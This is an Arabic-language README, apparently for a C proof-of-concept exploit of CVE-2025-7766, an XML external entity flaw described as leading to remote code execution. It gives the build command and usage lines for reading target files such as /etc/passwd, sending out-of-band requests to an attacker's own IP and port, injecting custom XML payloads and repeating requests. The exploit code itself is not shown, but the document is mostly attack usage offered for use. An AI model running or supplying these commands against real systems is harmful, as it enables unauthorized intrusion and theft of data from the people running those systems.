
استغلال PoC مبني على C لـ CVE-2025-7766 يوضح XXE-to-RCE عبر قراءة الملفات واستدعاءات HTTP خارج النطاق. يدعم حمولات XML مخصصة وطلبات متكررة.
PoC لاستغلال ثغرة الكيان الخارجي XML في CVE-2025-7766. يوضح قراءة الملفات (/etc/passwd) واستدعاءات HTTP خارج النطاق.
المؤلف: Byte Reaper
CVE: CVE-2025-7766
الثغرة: تنفيذ تعليمات برمجية عن بُعد عبر الكيان الخارجي XML (XXE)
/etc/passwd من الهدف.gcc -o exploit exploit.c argparse.c -lcurl
# Read file payload
./exploit -u http://target/xml -i YOUR_IP -p YOUR_PORT
# Out-of-band request payload
./exploit -u http://target/xml -i YOUR_IP -p YOUR_PORT -r
# Custom payload
./exploit -u http://target/xml -i YOUR_IP -p YOUR_PORT -b '<YOUR_CUSTOM_XML>'
# Repeat requests 5 times
./exploit -u http://target/xml -i YOUR_IP -p YOUR_PORT -r -l 5
# Verbose output
./exploit -u http://target/xml -i YOUR_IP -p YOUR_PORT -v
MIT